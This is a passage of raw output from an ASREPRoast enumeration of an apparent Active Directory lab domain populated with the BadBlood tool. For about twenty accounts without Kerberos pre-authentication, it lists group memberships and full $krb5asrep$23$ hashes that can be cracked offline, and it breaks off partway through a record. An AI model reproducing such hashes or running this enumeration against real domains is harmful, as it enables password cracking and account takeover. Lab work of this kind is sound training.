PM Searching for ASREPRoast Users - Details for User 'KERMIT_TILLMAN': sAMAccountName : KERMIT_TILLMAN userPrincipalName : KERMIT_TILLMAN@offsec.nl distinguishedName : CN=KERMIT_TILLMAN,OU=AWS,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2513 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:04:28 AM lastLogonTimestamp : 2/10/2022 1:59:43 PM $krb5asrep$23$KERMIT_TILLMAN@offsec.nl:da69ed0c7c0ac49eb1f22cf26f9cc96d$69e7ed5a52b82ab28d08b487d46b613aaea4a54cff7ac4a948a718ccc66bdf78868db872de845980ca5d972e3de840262083a97a18aaf35d40a534cc77e9f53cd38f9d084f0b36919320f2997554bb1d162d806cba78eee6aa2123848423749ceeb178ff0fc6454caac8011b0afc6a9176b9cf9b0602a08648b8b792586bfabb3475abeaa71f022e0d9321938805df6a6528cff79df3f253b0c1edfe65ffe5464ca7cd4d101aca548825f3613e18124f274541d8a4bbf71a4a7f00b4e4518ddf478c1b0e73bd74b8d9da5892312b1462abefe8713446e92750d2ceebd4239cf0f9c02ecbf9d8 Searching for ASREPRoast Users - Details for User 'NUMBERS_RATLIFF': sAMAccountName : NUMBERS_RATLIFF userPrincipalName : NUMBERS_RATLIFF@offsec.nl distinguishedName : CN=NUMBERS_RATLIFF,OU=ServiceAccounts,OU=BDE,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2536 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=AL-cinthia10-distlist1,OU=Devices,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=VA-t0011119d-distlist1,OU=T0-Permissions,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=OL-AMOR14ETE-distlist1,OU=Devices,OU=GOO,OU=Tier 1,DC=offsec,DC=nl CN=DI-BEL-distlist1,OU=Devices,OU=TST,OU=Stage,DC=offsec,DC=nl CN=CL-328-distlist1,OU=Devices,OU=ITS,OU=Stage,DC=offsec,DC=nl CN=WI-844-distlist1,OU=Groups,OU=AWS,OU=Tier 1,DC=offsec,DC=nl CN=CA-pin-distlist1,OU=T0-Roles,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=DA-palomo812-distlist1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:34 AM lastLogonTimestamp : 2/10/2022 1:59:43 PM $krb5asrep$23$NUMBERS_RATLIFF@offsec.nl:6bbfdfe85506113eb65cf2087e0e56df$7adef22cd83b6ac992b566b137c1c71b03aa6a915ad081e24f2415f60271b7ea138a4d16c7d4a70ded40e9295f94cee762ee271632ed3bc17b78a548e03f0cfb6cda2f28c2e24b01cc1afc0d45eb762d3fd432b8d63e5eb8d58cb5018429f17ae3e825a17fe4cd673cfefefdaa652cafb3c5e23463bdfac5cf45d023cfefdf9b63b95ab30c19661937e759fcde23dce5bfc1b3d4b16a1e6eaa056b41e36514b1bf8e4d04a0bae0b6a454dddeb62d46f574ba61fc0782b205ab25567960fed57ec68505b1bf9a328222fbbe8cdc10854e7470f15bd937e128077cea6383fdd940b5bd25a423e8 Searching for ASREPRoast Users - Details for User 'MADGE_MCCRAY': sAMAccountName : MADGE_MCCRAY userPrincipalName : MADGE_MCCRAY@offsec.nl distinguishedName : CN=MADGE_MCCRAY,OU=T1-Devices,OU=Tier 1,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2537 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:04:34 AM lastLogonTimestamp : 2/10/2022 1:59:43 PM $krb5asrep$23$MADGE_MCCRAY@offsec.nl:901446f679714871f911472af5360ea1$80e8ae095d63182f078083517f536c7f813d1f50ae23dff959040b17e2d7cb421d227ed27e80ff5648f8a41265d7d6992a8e46d8d09d76fe6a158f50371b3c9fa8921903343443e5ac4ba46180369be26d65680698ca0fa5542b87355ac97c7dc2e7cf3220a3b9e34388fa50fde1af7b9da996577ae97ebe2e9cd756d773930b3d5b9de4f5ddea40786755018b3c8177281e2f8dc2a567a06178bf3d97a47c114e710b280ca2f6ff60eb129850f016b5feaf369474779f4819dcc64558928a859f994f3ac613b623e45604044c48a4a3cb2779aa77ae086bb911e98eaed7743d240f2a642c1e Searching for ASREPRoast Users - Details for User 'ROBBIE_REEVES': sAMAccountName : ROBBIE_REEVES userPrincipalName : ROBBIE_REEVES@offsec.nl distinguishedName : CN=ROBBIE_REEVES,OU=Devices,OU=FIN,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2538 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=CL-abr-distlist1,OU=Groups,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=CL-est-admingroup1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=DI-BEL-distlist1,OU=Devices,OU=TST,OU=Stage,DC=offsec,DC=nl CN=36-nat-admingroup1,OU=.SecFrame.com,DC=offsec,DC=nl CN=MA-teq-distlist1,OU=T0-Accounts,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=CE-7la-admingroup1,OU=Devices,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=GA-9fe-admingroup1,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=PH-arribalap-distlist1,OU=Devices,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=HI-teq-admingroup1,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=SA-per-distlist1,OU=Groups,OU=FSR,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:34 AM lastLogonTimestamp : 2/10/2022 1:59:43 PM $krb5asrep$23$ROBBIE_REEVES@offsec.nl:0b61dbd986733a391cb2c3bc97712f0f$0c343b1a43c3c17dbe30dd4048405ac6bfd08983e86d8f114b7ed5e34960b5d143e0aa07c5be7241508afcc63903f97b5f32e32ddc0d96d8ca81bc7021a64160146a15a1f5ed937a49a73b6ae47ecc175ef05940c3e37de0b11c81e7664b2998dd7e3ee6966ca4f6adcb85aad11deda95ed80eada40e95937eb4d447b03010d930f433f5b9b89b25e5df808816c148a1fdbff6ec656cc9f65911d1cf69ffdbea4386949df9819e8d05fb4c1a481a6bb0b6a325642fb78ff7bd45eaae02acfbf14f59236c9e4a15f08c3ca0a46b1411db4d67bed352e9dff70161b2198d5bce2e89e49d73f0bb Searching for ASREPRoast Users - Details for User 'LUCY_BURRIS': sAMAccountName : LUCY_BURRIS userPrincipalName : LUCY_BURRIS@offsec.nl distinguishedName : CN=LUCY_BURRIS,OU=Devices,OU=OGC,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2545 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:04:36 AM lastLogonTimestamp : 2/10/2022 1:59:43 PM $krb5asrep$23$LUCY_BURRIS@offsec.nl:8e0c1c18a480d8dd7d1781e39104ca0c$7c9151aced48268dc2aeb95b3f4a4c22502b97758b7f933a584762bb858210d358c51b9c113ea1307091162cd2b34e3b0ab57ea9bc1a9e4e1dfed6d136712c5658639bf52b943d80bad23ebff9f3f5b85d4e41fd5e884b6680ad614e06ce46eb985ddc264c6c8f69112286d19f0e301152e5d2d9d651feadb94e5f78cdaa65e0b8dfce96baac20bd44d4bada8926b33b65b6a728f94507e4d0c15ae2db50a5c3e5a4f8b981223b85f4f1d6d4b4e12dcbc42a75d6e27eebbb724d10f3463b68beb00118b45d6f701f459234b00584af071f3be3cfc8ba2bbe427bf573e1d0a8c00621ef59942a Searching for ASREPRoast Users - Details for User 'KENT_WOODARD': sAMAccountName : KENT_WOODARD userPrincipalName : KENT_WOODARD@offsec.nl distinguishedName : CN=KENT_WOODARD,OU=GOO,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2585 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=JA-757-distlist1,OU=Devices,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=MA-bla-distlist1,OU=T2-Permissions,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=FR-angel_070-distlist1,OU=Test,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=CA-hermana34-admingroup1,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=WI-lal-distlist1,OU=Devices,OU=AZR,OU=Tier 2,DC=offsec,DC=nl CN=RU-ele-distlist1,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=GI-cho-distlist1,OU=FSR,OU=People,DC=offsec,DC=nl CN=DA-palomo812-distlist1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=ES-118-distlist1,OU=ServiceAccounts,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=TA-ilovepink-admingroup1,OU=Test,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=ST-campanita-admingroup1,OU=ServiceAccounts,OU=HRE,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:45 AM lastLogonTimestamp : 2/10/2022 1:59:44 PM $krb5asrep$23$KENT_WOODARD@offsec.nl:03e85ef875b4f482e86e27a93eabdafe$86c5fa4a465f0089ac9e0ca5f5e5cbadfd68bc385cb699d2fb009a7f67535aefc11cba5f09f57ef43d61910eac557ba1e445c0744e89d08f820bd39c23e7d9362d14f591b658ededbdb2cf80e5ce1bb26701561fe298367b6f981b239d612a489ac8af009fd103ea107fdf813230da83797cbd44e5cb649d0cb2690762bf165e58b3952820a4d7739e4da221db8d5639212517ddb4241d07e6b147aaee3c473ec606650887537f7b5f3c32895266206c25d184c998db796fcf221db24ffa65963d7d47f5606bb463abc1035b2c6deb244874c71d592250d7af04de8787c764e1c015022c7bd4 Searching for ASREPRoast Users - Details for User 'NEAL_CABRERA': sAMAccountName : NEAL_CABRERA userPrincipalName : NEAL_CABRERA@offsec.nl distinguishedName : CN=NEAL_CABRERA,OU=ServiceAccounts,OU=GOO,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2591 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=RO-teq-admingroup1,OU=Test,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=WI-teodiotea-distlist1,OU=Test,OU=HRE,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:46 AM lastLogonTimestamp : 2/10/2022 1:59:44 PM $krb5asrep$23$NEAL_CABRERA@offsec.nl:6efdbc08109532d8ad241ad3bda60b44$e14eb8154b43d1eae36a2e8acb47a11698f184ff6c75b583b9e78fc7b15006927bf39280201d31320c8742f9440d732210f90c4f4f491b355dcba8c6af7df6fe197e95ee1330e854a4c6cbd1a29e02646b4c69b6459a4afdb43353c3ed6a0838182e42676559c658f37f0f5abba1fbfce89001a20136bd1dd86b53bc091f714618d0404daebb8355cce2186ee8c4f9c991b99cc321e0bccaebab79013175b2fd417b190b48a8b013a2d0817807dda33833226c8a14e2a8f9dec116d5f1ce8c5d5b946e3a6e3590d24fbf342ce1ef911f98a98d423c5dcd80cbc9df3637ecb13e22dfab1f221a Searching for ASREPRoast Users - Details for User 'GAIL_EWING': sAMAccountName : GAIL_EWING userPrincipalName : GAIL_EWING@offsec.nl distinguishedName : CN=GAIL_EWING,OU=Devices,OU=AZR,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2593 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=TA-artu32165-distlist1,OU=Groups,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=TR-catalina2-distlist1,OU=Devices,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=JU-estilista-distlist1,OU=Groups,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=KA-viv-distlist1,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=AD-karunamay-distlist1,OU=ServiceAccounts,OU=OGC,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:47 AM lastLogonTimestamp : 2/10/2022 1:59:44 PM $krb5asrep$23$GAIL_EWING@offsec.nl:e92ec60032c33acd4de6431cfae60bfc$451740dc531c6939a45cf2e66831729febf35a5adb3b89a78bbb81e48d8220ed71633359439fe8f07297f4c9623fb7029a4512adb1804749214b7ae2366b8fafedf3d68a03c127a3a36442dfaa65a7c78eeb7204ab63da56b0e416977ed4b5d35a42eafcb8f145025e40c5edec97b5146454ce7eb027b833a1c2f6a864347dc5d29fe383e2304df05e42f11ef7e1040ad6de00addb292908db7c48fb71e2ad2d1220724533ae0f351e0b2591316393924bd830fbd95d3487fe25e6f596061a99496580ea2f0d011f18538fd120da39915d828af957572c345ace4e7b09c9a9d57232496e57b6 Searching for ASREPRoast Users - Details for User 'LAWRENCE_MCGEE': sAMAccountName : LAWRENCE_MCGEE userPrincipalName : LAWRENCE_MCGEE@offsec.nl distinguishedName : CN=LAWRENCE_MCGEE,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2595 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=ST-lolivicen-distlist1,OU=Groups,OU=HRE,OU=Tier 2,DC=offsec,DC=nl CN=CA-lan-distlist1,OU=Groups,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=AU-erj-distlist1,OU=.SecFrame.com,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:47 AM lastLogonTimestamp : 2/10/2022 1:59:45 PM $krb5asrep$23$LAWRENCE_MCGEE@offsec.nl:8c6b1dbd5143f0f65a1531898971ab8b$4c2f4ad378ef5a0785f079fbb7bdbc19318052c5fcd8059af47703679e23f879d4ea2ff4e1223c42c15f256945f801256970ab0d604395fbda055f56c46f2f9ec1a42bc342a3546a5718028607812f53e40c3bdff332a3035de3f9e22463803675413356eabd77e7062ce3a26551abb4f486ccdd6895cafbe362a217e548e36e078abb207b4b84f8382760264ec1ef4b511c9007263c4bb8ae179f48d6511f754937592d3b6e4cca29fff7a3133dd328f2754db75208dca07fa8aaeed37da345296fd4fa3de7f665f76a8c9e72d1098fcd87be34a7d714afe04020e195788f73e92d76b42de8 Searching for ASREPRoast Users - Details for User 'MYRNA_THORNTON': sAMAccountName : MYRNA_THORNTON userPrincipalName : MYRNA_THORNTON@offsec.nl distinguishedName : CN=MYRNA_THORNTON,OU=ServiceAccounts,OU=SEC,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2606 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:04:50 AM lastLogonTimestamp : 2/10/2022 1:59:45 PM $krb5asrep$23$MYRNA_THORNTON@offsec.nl:8b2bb34d109b01994776144f6f39d8c2$f5a7491b67c3bd51f810fa05164306eaba14c32f1ed0e424a5779fefacc699395bf328d85ff0b5dcade331a0f2120c869aa83e3da8f6c258f7ee897f7ef0a179764e4def01b27120bbb6fa06f8e72b8d081965145cc24006b49e6fa232426d3585041d6cf8d1208cc18772769f21d1be6e2bbd9f7f12cbc5e4e43a9b029745df218e1be4f80c5616fc4957fbca8eb47f7077b2367fccef99e99b62fc0d58004ad83dcdcb3560b1bfe86632e824675ed2bf389ddd3120d9e81f71bce562e9f8c9e0cbe12e54da64e544ad4bed3e4e623452355382991e48d749f1896b6b8637d40bf3893a0e6c Searching for ASREPRoast Users - Details for User 'LINDSEY_BRENNAN': sAMAccountName : LINDSEY_BRENNAN userPrincipalName : LINDSEY_BRENNAN@offsec.nl distinguishedName : CN=LINDSEY_BRENNAN,OU=Test,OU=AWS,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2615 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=PE-sex-distlist1,OU=Test,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=AI-jfsa44341-distlist1,OU=Test,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=RO-teq-admingroup1,OU=Test,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=AU-erj-distlist1,OU=.SecFrame.com,DC=offsec,DC=nl CN=TI-coq-admingroup1,OU=People,DC=offsec,DC=nl CN=DA-mar-distlist1,OU=Devices,OU=TST,OU=Stage,DC=offsec,DC=nl CN=AL-lascivete-admingroup1,OU=BDE,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:52 AM lastLogonTimestamp : 2/10/2022 1:59:45 PM $krb5asrep$23$LINDSEY_BRENNAN@offsec.nl:9e9ad81090265d4aa6d1334c3ccff05b$b709781686993f21b32f761826010ea61d68f0cc09e17deedc643cfb1e05475d9c9c80c58dafd4b91c5926b72719f7c6e8d684a9bddd06dd2a7795fa26da59b7aa8b3cf2dffeb01829c72deacfe79313de2c281e081d233f0619e835f8e636f05acc0682be7393efe32536ad7e2e6c0da6a1d5f7ba6938439968b9e3c2d94f07dc4ad726d6f391cc10f7db81c187aa5c290697c3ad7bf08a94a8fecdad12855489a87086693a767630f2ff9a43a3880a08efc5b087ba25f7862a32cc11443f12f7dade601301b121a2949a03c0fe5aafc925ed3bc42289e1beac2368bea9a0f25f701bc2b17d Searching for ASREPRoast Users - Details for User 'BLANCHE_PUGH': sAMAccountName : BLANCHE_PUGH userPrincipalName : BLANCHE_PUGH@offsec.nl distinguishedName : CN=BLANCHE_PUGH,OU=T0-Accounts,OU=Tier 0,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2632 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:04:56 AM lastLogonTimestamp : 2/10/2022 1:59:45 PM $krb5asrep$23$BLANCHE_PUGH@offsec.nl:1e0729263831838e8134cbf643a6012d$2c0e24b93605936238d4bbe52293b354e5a41751aa6d324c925ddeba3a981a57811bbb78b19b27e2bd18df7fe10dd6752fe23aea3240a1e70b2deb06a40da2acfe9c5fe2e8d3339e62c5395e531f908599b7fd005dc2e5c7913b779f09d0ead94287fc69b2ffc13943c20544db7e201ba2900e5b203c1aab05fd02532625fb0b31675bfb85976958871646d75f8c6b215630c2a818096a4cd57b0fb0dcfb5de3b628052a8f76a6c941687b31570c0ed2128c67021f0c82a0d96034e9f062a4541851c1d7178ff491337957e5cc19431ea71060a71673d12ae1c5200fecd0db01296cd7e28365 Searching for ASREPRoast Users - Details for User 'RIGOBERTO_CALHOUN': sAMAccountName : RIGOBERTO_CALHOUN userPrincipalName : RIGOBERTO_CALHOUN@offsec.nl distinguishedName : CN=RIGOBERTO_CALHOUN,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2642 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:04:58 AM lastLogonTimestamp : 2/10/2022 1:59:45 PM $krb5asrep$23$RIGOBERTO_CALHOUN@offsec.nl:f80c3a577409d768a6d5cd82704fd8b0$bab95f2c8e3106c5dc681c2c769521612bb4a3a7a119b0107f5615f3c4c4fe9483d0104f39becf4f9f12929b7814fb764346926cea5fc575581d3526bb4ec19786de86eca5e08647321ea34bcac627d774646536a066596c648feec635f0dabb1549323c869c10a8d6c8ad0fb5a3e180f29ed876101fae590c1d88ef103d04735c661bcd23ba63465e8e7d356a2b1f04cb824bd029873c1a4164009f55906bd900f42a6e0ea79d2def64607cf7e4c410fe1a5eb2b5dec2d274d349cdf8f2e2a834de0a5dfb4d36e358e4d8b0899b535153237bf0fe851ade358634c9d9ac409be44a5b37725a Searching for ASREPRoast Users - Details for User 'MERRILL_CARSON': sAMAccountName : MERRILL_CARSON userPrincipalName : MERRILL_CARSON@offsec.nl distinguishedName : CN=MERRILL_CARSON,OU=Devices,OU=AWS,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2643 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=OR-mul-distlist1,OU=Devices,OU=AWS,OU=Tier 1,DC=offsec,DC=nl CN=VI-050-distlist1,OU=Test,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=MU-3Acuario3-distlist1,OU=Groups,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=GA-9fe-admingroup1,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=TE-emo-distlist1,OU=ServiceAccounts,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=CO-264-admingroup1,OU=ServiceAccounts,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=DE-HER-distlist1,OU=T0-Accounts,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=PR-aym-distlist1,OU=T0-Permissions,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=ES-eli-distlist1,OU=ServiceAccounts,OU=AWS,OU=Tier 1,DC=offsec,DC=nl CN=GE-rob-admingroup1,OU=Groups,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=JO-vanguardi-distlist1,OU=GOO,OU=People,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:04:58 AM lastLogonTimestamp : 2/10/2022 1:59:46 PM $krb5asrep$23$MERRILL_CARSON@offsec.nl:2e554e64a72f71c5a88bceed8d109c6a$564ae24e91f19511f13dbe91b81eb75fdf3a13b2963c72a8070e3b069a1623b55f62febec0d3ee652d89b6c1b4275b34618ef44621a3b7a44fd3e771c3d3f9da7da2e73ee54a413060be5974b5a914ef9bf09e954c455d638bf536c2637dc1e59c0e6434d75235616aea768543ec70831d9b10131fb428328ac34f8363eda61a7b4f543c044840f7cff6ad41006795d1264426990fe61a46bd4334249c9caf03d0b33facc974c43419cc2a952efd363ccadcf15efae4239e48a7afaf85d9e88c855d600921b06e7cd16bd4aff3e539f3c01a809cc3e79817d45c085799b3304a877d2d30999c Searching for ASREPRoast Users - Details for User 'ELSA_WELCH': sAMAccountName : ELSA_WELCH userPrincipalName : ELSA_WELCH@offsec.nl distinguishedName : CN=ELSA_WELCH,OU=Test,OU=FIN,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2672 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=51-f44-distlist1,OU=Devices,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=VI-man-distlist1,OU=FIN,OU=People,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:05 AM lastLogonTimestamp : 2/10/2022 1:59:46 PM $krb5asrep$23$ELSA_WELCH@offsec.nl:414c7e32dac8fbc864492e7c5d4df190$737c1ac46ab7d8f2b4022bc505b10fd7eb1b38b74619cd1b1c73f59b2e2eeb3b35f6697b123701c8dd6518058e72099aea478f49dabce8da2a5fb3f2e00ad750fd15fcdc973c40e3a26e647bcecf210d025e7e26286a908633ee051cbe8b840e49e2777e320889bf16cf503eaa78de45b52a5a1c7ba9a5d9fdc73e9c4b4114d06cb5f4f7f056981f23801787968890bbb088690e5a42427ba38efeeff6038c0c2b9aa6f0c82838e964f79aa10f5ebfc2dc450c1cf28375b2d8e907b22c058bfe70e19ebfe13cefb102c597218ca966f48d325ec029c5ca6ef230cf0e7e0a6e50361cd192a5c9 Searching for ASREPRoast Users - Details for User 'BUFORD_HUGHES': sAMAccountName : BUFORD_HUGHES userPrincipalName : BUFORD_HUGHES@offsec.nl distinguishedName : CN=BUFORD_HUGHES,OU=ServiceAccounts,OU=TST,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2675 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=RO-dosamores-distlist1,OU=Test,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=MA-joseteamo-distlist1,OU=Groups,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=LE-170-distlist1,OU=Devices,OU=HRE,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:06 AM lastLogonTimestamp : 2/10/2022 1:59:46 PM $krb5asrep$23$BUFORD_HUGHES@offsec.nl:4eee81cd7ba06abdc26c1ba6246eac18$5231fd40f8e62d9bc567510b60cc7b1699ee07beb7e3f21c539d62ef3729859b63f173d2b7a26114ee6b5c3f0e7c85986c3cd2dc281d2707d9d2577b6b758070b199320c940ad97a917a317eae7add36da509a58e18819f4d52d24f63ab40f38327a720dee9b2a64df0c01121c691101d80d5bd33befd6579488076af237214fe831efbcddc3244ada7953605077c5c8c30c00bed93576fd4e8ee6fe07e9271596f822f46b41c89cb5be0ba3a7d33f9b706e1d7327bb6ce9b055f979777adcfecb9a7efdc3d32c225b05dfeafb63af420ba33849126126f8c65de441c0b05fcadc1128334488 Searching for ASREPRoast Users - Details for User 'DEMETRIUS_MORALES': sAMAccountName : DEMETRIUS_MORALES userPrincipalName : DEMETRIUS_MORALES@offsec.nl distinguishedName : CN=DEMETRIUS_MORALES,OU=ServiceAccounts,OU=BDE,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2689 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=SE-mor-distlist1,OU=Devices,OU=ITS,OU=Tier 1,DC=offsec,DC=nl CN=MI-juantanam-distlist1,OU=Groups,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=KR-asdfghjkl-distlist1,OU=Devices,OU=FSR,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:09 AM lastLogonTimestamp : 2/10/2022 1:59:46 PM $krb5asrep$23$DEMETRIUS_MORALES@offsec.nl:d4d3f7885ea69bb5da3184ec35206fba$d3e2069d7eade6d5d6e7309fa384e47ad480165a6ee78dab7440bace293cbf32a7e86159b47ea6af54528c351c5b949925befce0bcdccfbc04cb7103a19dfa6b1d7fc629efbc0c4516e4487be6a1565ac0fcc874b672d62ebaee240afe6e65791c2d24ddb340046efb356cd90ebedfc00eb42946aa11004d0596c35b0b89b57aa9a7801f7fa818386551ddbec64873b8d7ec19913bf9747bb6baa693de5da0be6d51e218a810483189dd11ee72089126ad11b2a6cd1e79468edaef1aadf49ff58e08536a9c37ff54c02884a17cda0fa4a0db5c2adcb392991bc88b3e789acf31505785b6946b Searching for ASREPRoast Users - Details for User 'ARRON_PITTS': sAMAccountName : ARRON_PITTS userPrincipalName : ARRON_PITTS@offsec.nl distinguishedName : CN=ARRON_PITTS,OU=Groups,OU=FSR,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2731 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=GE-WW9-distlist1,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=AL-enamorada-admingroup1,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=AV-317-distlist1,OU=T1-Servers,OU=Tier 1,OU=Admin,DC=offsec,DC=nl CN=RO-barbacian-distlist1,OU=ServiceAccounts,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=MY-laf-distlist1,OU=ServiceAccounts,OU=BDE,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:18 AM lastLogonTimestamp : 2/10/2022 1:59:46 PM $krb5asrep$23$ARRON_PITTS@offsec.nl:222cc0e6fd1c0dc758a5c23886d010b3$bdf73116394726ecc7400ffcfd8f53016b610441ce2259267022741758f6d7e642973dbdf5d2b1ffe62f498496e740af114eaa42194f4889e039b059f1d39099676e4eccb11a9bafa9bf07f50d5536e972a21b0a03b12273fd7e4da55577f912a11aaffc2aa869576aae7a42fdf48b46a9c0220b3468f2c1ae8f34b9b56da8d623f600190382422c4d751bcd595096149766b8e7cb9454c46b630bf85c7906b0ba0e9b015c960ae18476bbbc10b88e0a5ac65494300746ec53ab6959f28782e52d61bd533be911e96f96fd64072b85575a83ab211beac87d65fd19caa9548500a84fc784cf9d Searching for ASREPRoast Users - Details for User 'GERRY_WORKMAN': sAMAccountName : GERRY_WORKMAN userPrincipalName : GERRY_WORKMAN@offsec.nl distinguishedName : CN=GERRY_WORKMAN,OU=Devices,OU=ESM,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2751 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=AL-ara-admingroup1,OU=Test,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=RO-tam-admingroup1,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=NA-az2826720-distlist1,OU=ServiceAccounts,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=KA-212-distlist1,OU=People,DC=offsec,DC=nl 